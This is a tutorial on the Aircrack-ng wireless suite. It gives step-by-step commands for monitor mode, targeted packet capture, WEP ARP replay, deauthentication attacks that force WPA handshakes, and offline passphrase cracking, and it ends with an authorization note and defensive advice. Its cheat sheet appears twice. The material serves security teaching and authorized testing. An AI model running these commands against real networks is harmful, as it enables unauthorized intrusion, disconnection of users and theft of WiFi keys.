

Aircrack-ng

This guide covers Aircrack-ng in depth, expanding on the condensed version from the combined wireless-tools guide. Aircrack-ng is not a single program but a **suite** of interoperating command-line tools covering the full workflow of a wireless assessment — from enabling packet capture through to actually recovering a key. Worth locking in the distinction immediately: **Part 1 covers the core suite components and the standard capture-to-crack workflow — Part 2 covers the specific attack techniques against WEP and WPA/WPA2 the suite enables**, since "using Aircrack-ng" really means orchestrating several distinct tools toward one of two genuinely different underlying attacks.

1. Why a Suite Rather Than a Single Tool — The Foundation

A complete wireless attack has several genuinely distinct stages — putting a wireless card into a mode that can see all nearby traffic, capturing that traffic, optionally provoking additional traffic to speed things up, and finally running the cryptographic/statistical attack against what was captured. Aircrack-ng splits each stage into its own dedicated tool rather than bundling everything into one program:

```
airmon-ng → puts the wireless interface into MONITOR MODE
airodump-ng → CAPTURES packets while in monitor mode
aireplay-ng → INJECTS packets (e.g., deauthentication frames) to
               provoke traffic that speeds up capture
aircrack-ng → the actual CRACKING engine, run against captured data
```

The single fact this entire guide is built around — monitor mode is the precondition for everything else. A wireless card in normal (managed) mode only processes traffic addressed to it and associated with a network it has joined; monitor mode lets the card observe every frame on a given channel regardless of destination — without it, none of the capture or injection tools have anything meaningful to work with.

PART 1: Core Workflow

2. Enabling Monitor Mode

```
airmon-ng check kill      # stop processes (NetworkManager, wpa_supplicant)
                           # that would otherwise interfere with monitor mode
airmon-ng start wlan0     # puts wlan0 into monitor mode, typically
                           # creating a new interface (e.g., wlan0mon)
```

`airmon-ng check kill` matters because several common background network-management processes will periodically try to reset the interface back to managed mode or interfere with channel hopping, silently breaking a capture in progress if left running.

3. Discovering Nearby Networks and Clients

```
airodump-ng wlan0mon
```

```
Displays, live:
BSSID          PWR  CH   ENC  ESSID
AA:BB:CC:11:22  -40  6    WPA2 HomeNetwork
                ^ target access point

STATION        BSSID          PWR
11:22:33:44:55:66 AA:BB:CC:11:22  -35
                ^ a client currently
                  associated with the target
```

This initial scan identifies the target's BSSID (MAC address), the channel it's operating on, its encryption type, and any currently-connected client stations — all required inputs for the next, more targeted capture step.

4. Targeted Capture

```
airodump-ng -c 6 --bssid AA:BB:CC:11:22:33 -w capture wlan0mon
```

```
-c 6                → lock capture to the target's specific channel
--bssid AA:BB:CC:11:22:33 → filter to only the target access point
-w capture          → write captured packets to files prefixed "capture"
```

Narrowing to a single channel and BSSID (rather than the broad scan in Section 3) avoids missing packets to channel-hopping and produces a cleaner capture file focused entirely on the intended target.

5. Confirming a Successful Capture

For a WPA/WPA2 target specifically, `airodump-ng`'s running display shows a `WPA handshake:` indicator once a complete 4-way handshake has been captured — this is the specific artifact Part 2's WPA cracking step requires; capturing traffic without a complete handshake present leaves nothing crackable for that particular attack path.

PART 2: Attack Techniques

6. WEP Attack — Statistical Key Recovery

Exploits WEP's structurally weak IV/RC4 combination directly (see the WEP/WPA/WPA2/WPA3 guide's Section 2). Because the flaw is statistical rather than requiring a guessed password, the attack scales with **volume of captured traffic**, not with a wordlist:

```
aireplay-ng --arpreplay -b AA:BB:CC:11:22:33 -h <your_MAC> wlan0mon
# replays captured ARP packets to provoke the target AP into generating
# large volumes of NEW traffic (each with a fresh IV), dramatically
# accelerating the pace of IV collection compared to passive waiting

aircrack-ng capture-01.cap
# once enough IVs have been captured (commonly tens of thousands),
# statistically recovers the WEP key directly - no dictionary needed
```

7. Accelerating WPA/WPA2 Handshake Capture via Deauthentication

Rather than passively waiting for a client to naturally join the target network (and thereby generate a capturable 4-way handshake), `aireplay-ng` can force this to happen on demand:

```
aireplay-ng --deauth 5 -a AA:BB:CC:11:22:33 -c 11:22:33:44:55:66 wlan0mon
```

```
--deauth 5  → send 5 deauthentication frames
-a          → target access point's BSSID
```

```
-c          → specific client station to deauthenticate (omit to  
            target all clients broadly)
```

The targeted client's device, upon being forcibly disconnected, will typically attempt to automatically reconnect — generating a fresh 4-way handshake that `airodump-ng` (already running per Section 4) captures.

8. WPA/WPA2 Handshake Cracking

Once a complete handshake is captured (Section 5), the actual key recovery is an **offline dictionary/brute-force attack** against the captured handshake — directly connecting to the Wordlists and Hash Types guides' material, since a captured handshake functions much like a specialized password hash to be cracked:

```
aircrack-ng -w rockyou.txt -b AA:BB:CC:11:22:33 capture-01.cap
```

```
-w          → wordlist to test against the captured handshake  
-b          → target BSSID (in case the capture file contains multiple networks)
```

Success depends entirely on whether the network's actual passphrase appears in (or is reachable via mangling rules applied to) the supplied wordlist — exactly the same "candidate quality" dependency the Wordlists guide describes, since Aircrack-ng itself doesn't crack the underlying AES/CCMP encryption, only recovers the passphrase that derives the session key.

9. Why This Doesn't Work Against WPA3

WPA3's SAE handshake (see the protocol guide's Section 5) is specifically designed to resist exactly this offline-dictionary approach — a captured SAE exchange doesn't yield an offline-crackable artifact the way WPA2's 4-way handshake does, since SAE requires active, rate-limitable interaction with the network per guess attempt. This is why Aircrack-ng's WPA-cracking technique is effectively confined to WPA2 (and WPA)-Personal targets specifically, not WPA3.

10. Testing Methodology

1. Confirm authorization

Verify that the specific wireless network and testing environment are within the approved scope.

2. **Enable monitor mode**

Configure the wireless interface for monitor mode and confirm that background processes are not interfering.

3. **Discover wireless networks**

Perform a broad scan to identify the target BSSID, channel, encryption type, and associated client stations.

4. **Perform targeted capture**

Lock the capture to the target channel and BSSID to obtain a focused capture.

5. **Select the appropriate assessment path**

- **WEP:** Collect sufficient IVs for statistical key recovery.
- **WPA/WPA2:** Capture a complete 4-way handshake for offline password testing.

6. **Validate captured data**

Confirm that the required handshake or sufficient IV data has been captured before attempting key recovery.

7. **Perform the authorized assessment**

Use an appropriate wordlist or recovery technique based on the wireless security configuration and the approved test scope.

11. Legal & Ethical Note

Aircrack-ng's capture, injection, and password-recovery capabilities should only be used against wireless networks for which you have explicit authorization.

Unauthorized wireless interception, packet injection, deauthentication, or password recovery may be illegal depending on the jurisdiction.

Legitimate use includes:

- Your own wireless equipment.
- An explicitly authorized penetration-testing engagement.

- A dedicated and isolated security-testing laboratory.
- Educational environments where testing permission has been granted.

Always define the scope, permitted techniques, target systems, and testing window before beginning an assessment.

12. Prevention

Wireless Security Recommendations

- **Use WPA3 whenever supported.**

WPA3 with SAE provides stronger protection against the offline dictionary attacks applicable to WPA/WPA2-Personal.

- **Use strong WPA2 passphrases when WPA3 is unavailable.**

Prefer long, unique, high-entropy passphrases that are unlikely to appear in common password dictionaries.

- **Retire WEP completely.**

WEP has structural cryptographic weaknesses that cannot be solved by simply choosing a stronger password.

- **Monitor wireless activity.**

Wireless intrusion detection and prevention systems can help identify abnormal authentication and deauthentication activity.

- **Keep wireless infrastructure updated.**

Apply firmware and security updates to access points and client devices where available.

13. Quick Reference Cheat Sheet

Setup

```
airmon-ng check kill  
airmon-ng start wlan0
```

Discover Networks

```
airodump-ng wlan0mon
```

Targeted Capture

```
airodump-ng -c <channel> --bssid <target> -w capture wlan0mon
```

WEP — Traffic Replay

```
aireplay-ng --arpreplay -b <target> -h <your_MAC> wlan0mon
```

WPA/WPA2 — Handshake Capture

```
aireplay-ng --deauth 5 -a <target> -c <client> wlan0mon
```

WEP — Key Recovery

```
aircrack-ng capture-01.cap
```

WPA/WPA2 — Password Testing

```
aircrack-ng -w wordlist.txt -b <target> capture-01.cap
```

Key Takeaways

Security Type	Assessment Artifact	Recovery Approach
WEP	Captured IVs	Statistical key recovery
WPA/WPA2	4-way handshake	Offline dictionary/password testing
WPA3	SAE exchange	Not directly vulnerable to the same offline WPA2 handshake-cracking method

Important: Aircrack-ng does not directly break AES/CCMP encryption. For WPA/WPA2-Personal, its relevant workflow tests password candidates against a captured handshake. The effectiveness of this approach depends heavily on password strength and candidate quality.

13. Quick Reference Cheat Sheet

SETUP:

```
airmon-ng check kill
airmon-ng start wlan0
```

DISCOVER:

```
airodump-ng wlan0mon
```

TARGETED CAPTURE:

```
airodump-ng -c <channel> --bssid <target> -w capture wlan0mon
```

ACCELERATE (WEP - replay traffic):

```
aireplay-ng --arpreplay -b <target> -h <your_MAC> wlan0mon
```

ACCELERATE (WPA/WPA2 - force a fresh handshake):

```
aireplay-ng --deauth 5 -a <target> -c <client> wlan0mon
```

CRACK:

```
aircrack-ng capture-01.cap # WEP
aircrack-ng -w wordlist.txt -b <target> capture-01.cap # WPA/WPA2
```

Root lesson: Aircrack-ng doesn't break AES or CCMP directly - against WPA2 it recovers the PASSPHRASE via an offline dictionary attack against a captured handshake, making its real-world effectiveness a direct function of passphrase strength and wordlist quality, exactly the same "candidate quality" principle covered throughout the password-cracking guides. Against WEP alone is the flaw purely structural, independent of any password choice at all.